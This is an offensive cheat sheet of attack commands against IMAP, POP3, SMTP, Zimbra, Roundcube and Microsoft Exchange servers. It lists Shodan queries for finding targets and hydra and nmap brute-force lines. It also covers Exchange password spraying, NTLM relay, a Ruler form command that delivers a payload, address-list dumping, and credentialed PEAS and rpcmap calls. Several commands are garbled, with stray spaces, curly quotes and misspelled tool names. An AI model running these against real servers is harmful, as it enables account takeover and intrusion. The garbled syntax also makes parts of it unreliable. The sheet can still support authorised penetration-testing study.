Mail Server Attacks Cheat Sheet

A cheat sheet that contains common enumeration and attack methods for Mail Server.

    - Information Gathering
    - Attacks
        - Misconfiguration
        - Anti-Malware
        - ActiveSync(LDAP)
        - ActiveSync(SMB Share)
        - Phishing
        - Known Vuln
        - Spray
- Roundcube
    - Information Gathering
    - Attacks
        - Anti-Malware
        - ActiveSync(LDAP)
        - ActiveSync(SMB Share)
        - Phishing
        - Known Vuln
        - Spray
- Microsoft Exchange
    - Information Gathering
    - Attacks
        - AutotDiscover
        - Known Vuln
        - Spray
        - NTLM Auth
        - NTLMRelay
        - GAL
        - Exchange Admin Group Deligation
        - Rule
        - Forms
        - Anti-Malware
        - ActiveSync(LDAP)
        - ActiveSync(SMB Share)
        - ActiveSync(WSS)
        - RPC
        - LDAP
        - Phishing

IMAP

Information Gathering

```
nmap [-sS] [-sC] -Pn -p 143,993 -sV --script=banner [IP]
```

```
nc -nv <IP> 993 [IP]
```

```
shodan search "port:143"
```

Attacks

NTLM Auth

```
telnet example.com 143
```

```
a1 AUTHENTICATE NTLM
```

```
nmap --script=imap-ntlm-info [IP]
```

Bruteforce

```
hydra -l USERNAME -P passwords.txt -f [IP] imap -V
```

```
hydra -S -v -l USERNAME -P passwords.txt -s 993 -f [IP] imap -V
```

```
nmap -sV --script imap-brute -p [PORT] [IP]
```

POP3

Information Gathering

```
nmap [-sS] [-sC] -Pn -p 110,995 -sV --script=banner [IP]
```

```
nc -nv <IP> 110 [IP]
```

```
shodan search "port:995"
```

Attacks

NTLM Auth

```
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port [PORT] [IP]
```

```
a1 AUTHENTICATE NTLM
```

Bruteforce

```
nmap -p110 --script pop3-brute <target>
```

```
hydra -l muts -P pass.txt [IP] pop3
```

SMTP

Information Gathering

```
nmap [-sS] [-sC] -Pn -p 25,465,587 -sV --script=banner or --script smtp-commands [IP]
```

```
nc -nv <IP> 25 [IP]
nc -nv <IP> 465 [IP]
nc -nv <IP> 587 [IP]
```

```
shodan search "port:25"
shodan search "port:465"
shodan search "port:587"
```

Attacks

NTLM Auth

```
telnet example.com 587
HELO
AUTH NTLM 334
```

```
a1 AUTHENTICATE NTLM
```

Bruteforce

```
nmap -p[25,465,587] --script smtp-brute <target>
```

```
hydra -l muts -P pass.txt [IP] smtp
```

Spoofing

```
emkei.cz
```

Non Auth

```
telnet [IP] [25 or 465 or 587]
MAIL FROM: sender@adress.ext
RCPT TO: recipient@adress.ext
SUBJECT: Test message
.
```

Zimbra

Information Gathering

```
shodan search "8.8.6_GA_1906"
```

```
shodan search "zimbra"
```

Attacks

Misconfiguration

```
modules/auxiliary/gather/memcached_extractor
```

Anti-Malware

```
evilmacro
macropack
...
```

ActiveSync(LDAP)

```
LDAPPER. py -D EVIL -U 'Administrator' -P ‘password’ -S DC02.EVIL.DEV
' (msExchDeviceID=123456)
```

ActiveSync(SMB Share)

```
peas - u ' EVIL.DEV\sh' -p '[password]' mail.evil.dev --list-unc'\\DC01\'
```

Phishing

```
gophish
```

Known Vuln

```
CVE-2022-37042
CVE-2022-37041
CVE-2022-37044
```

Spray

```
POST
```

Roundcube

Information Gathering

```
shodan search "http.title:'Roundcube Webmail :: Welcome to Roundcube Webmail'"
```

```
shodan search "http.favicon.hash:976235259"
```

Attacks

Anti-Malware

```
evilmacro
macropack
...
```

ActiveSync(LDAP)

```
LDAPPER. py -D EVIL -U 'Administrator' -P ‘password’ -S DC02.EVIL.DEV
' (msExchDeviceID=123456)
```

ActiveSync(SMB Share)

```
peas - u ' EVIL.DEV\sh' -p '[password]' mail.evil.dev --list-unc'\\DC01\'
```

Phishing

```
gophish
```

Known Vuln

```
2021-44026
```

Spray

```
POST
```

Microsoft Exchange

Information Gathering

```
shodan search "'X-AspNet-Version http.title:'Outlook' -'x-owa-version'"
shodan search "http.favicon.hash:44274939"
```

```
shodan search "http.title:outlook exchange"
```

Attacks

AutotDiscover

```
autodiscover/autodiscover.xml
```

Known Vuln

```
ProxyLogon(2021-26855)
ProxyShell(2021-34473)
HAFNIUM(2021-26858)
```

Spray

```
Invoke-PasswordSprayOWA
Invoke-PasswordSprayEWS
```

NTLM Auth

```
nmap --script http-ntlm-info
```

NTLMRelay

```
reponder
./exchangeRelayx.py -t https://mail.xyzczz.com
```

GAL

```
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName
domain\username -Password password -OutFile global-address-list.txt
```

Exchange Admin Group Deligation

```
Bloodhound
net
```

Rule

```
GUI
```

```
Ruler
```

Forms

```
./ruler --email user@evil.dev form add --suffix superduper --input command.txt --send
```

Anti-Malware

```
evilmacro
macropack
...
```

ActiveSync(LDAP)

```
LDAPPER. py -D EVIL -U 'Administrator' -P ‘password’ -S DC02.EVIL.DEV
' (msExchDeviceID=123456)
```

ActiveSync(SMB Share)

```
peas - u ' EVIL.DEV\sh' -p '[password]' mail.evil.dev --list-unc'\\DC01\'
```

ActiveSync(WSS)

```
peas -U ' EVIL.DEC\user’ -p ‘password’ exch01.evil.dev - -smb-user=‘EVIL\sharepoint-setup'
• - smb-pass=' password’ •-list-unc 'http://SHP01/share’
```

RPC

```
nmap mail.evil.dev -p 6001 -sV - sC
```

```
rpcmap . py -debug -auth-transport’EVIL/user:password’
'ncacn http: /6001,RpcProxy=mail.evil.dev: 443]'
```

```
rpcmap.py -debug -auth-transport 'EVIL/user:password' -auth-rpc 'EVIL/mia:password' -auth-lev
```

LDAP

```
LDAPPER. py -D EVIL - U 'Administrator' -P ‘password’ -S DC01. EVIL.DEV
(mail=user@evil.dev) mail objectGUID legacyExchangeDN distinguishedName
```

```
exchanger. py EVIL/user: ‘password’@mail.evil.dev nspi
dump -tables -name Hackers -lookup-tvpe EXTENDED
```

Phishing

```
gophish
```